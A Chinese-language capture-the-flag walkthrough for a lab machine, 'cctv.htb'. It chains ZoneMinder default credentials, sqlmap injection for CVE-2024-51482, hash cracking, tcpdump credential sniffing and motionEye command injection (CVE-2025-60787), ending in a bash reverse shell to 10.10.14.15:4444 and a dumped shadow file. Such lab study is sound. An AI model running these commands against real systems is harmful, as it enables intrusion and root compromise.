基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap -sC -sV -Pn 10.129.230.163
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-14 14:01 +0900
Nmap scan report for 10.129.230.163
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.55 seconds

80

需要加hosts：

1
10.129.230.163 cctv.htb

监控摄像头相关的：

ZoneMinder

staff login可以看到是ZoneMinder，默认账号密码登录：

1
admin : admin

CVE-2024-51482

v1.37.63,搜索可以找到相关漏洞：

按照文档一步步来，首先是sql注入部分：

1
2
3
4
5
6
7
8
9
10
11
sqlmap -u "http://cctv.htb//zm/index.php?view=request&request=event&action=removetag&tid=1" \
    --cookie="ZMSESSID=oci9hkg7m2ot40kicd3s3sntab" \
    -p tid --dbms=mysql --batch
    
...

sqlmap -u "http://cctv.htb//zm/index.php?view=request&request=event&action=removetag&tid=1" \
    --cookie="ZMSESSID=oci9hkg7m2ot40kicd3s3sntab" \
    -p tid --dbms=mysql --batch -D zm -T Users -C "Password" --where="Username='mark'" --dump
    
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

破解出密码：

1
2
3
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

opensesame

mark & motioneye

得到的账号密码ssh登录：

非预期 motioneye CVE-2025-60787

(直接这一步应该是非预期，跳过了sa_mark)

之后就是前面repo里第二部分，motioneye服务rce：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 转发端口
ssh -L 8765:127.0.0.1:8765 mark@cctv.htb
# 这一步主要是为了从页面源码确认版本，直接参考前面repo的话不需要这步

# 开启图片输出
mark@cctv:~$ curl "http://127.0.0.1:7999/1/config/set?picture_output=on"
picture_output = on
Done

# 图片名中注入命令
mark@cctv:~$ curl "http://127.0.0.1:7999/1/config/set?picture_filename=%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.15%2F4444%200%3E%261%27%29"
picture_filename = $(bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1')
Done

# 触发
mark@cctv:~$ curl "http://127.0.0.1:7999/1/config/set?emulate_motion=on"
emulate_motion = on
Done

预期 sa_mark

预期的中间步骤，备份文件里看到sa_mark相关行为：

1
mark@cctv:/opt/video/backups$ cat server.log

以及tcpdump相关权限：

1
2
mark@cctv:/opt/video/backups$ getcap /usr/bin/tcpdump
/usr/bin/tcpdump cap_net_raw=eip

tcpdump去抓流量，得到sa_mark密码：

1
2
3
4
/usr/bin/tcpdump -i any net 172.25.0.0/24 -w /tmp/cap.pcap

USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status
All CCTV cameras are operational

后面就同样是进入命令注入部分了

root & flags

利用命令注入打到的就是root：

shadow

1
2
3
root:$y$j9T$yA2tQ1NiQFodczsDATtiZ1$3FOGPUX6xT.w9C0RgfE.h7ed9bKq68IV3ydkAXzT989:20399:0:99999:7:::
mark:$y$j9T$FdppU.RZC1znPbo5fOl/G/$udWuXBB/7yzlzqm/4MKMWaFTmmeI6DUy.BvTbl4z2wB:20344:0:99999:7:::
sa_mark:$y$j9T$DaLfNZ5N2pMjJMReb.im8.$am6fl6MDBtEv/l0MCDczgfeZd.FTovuV15MuUikaKu5:20344:0:99999:7:::

参考资料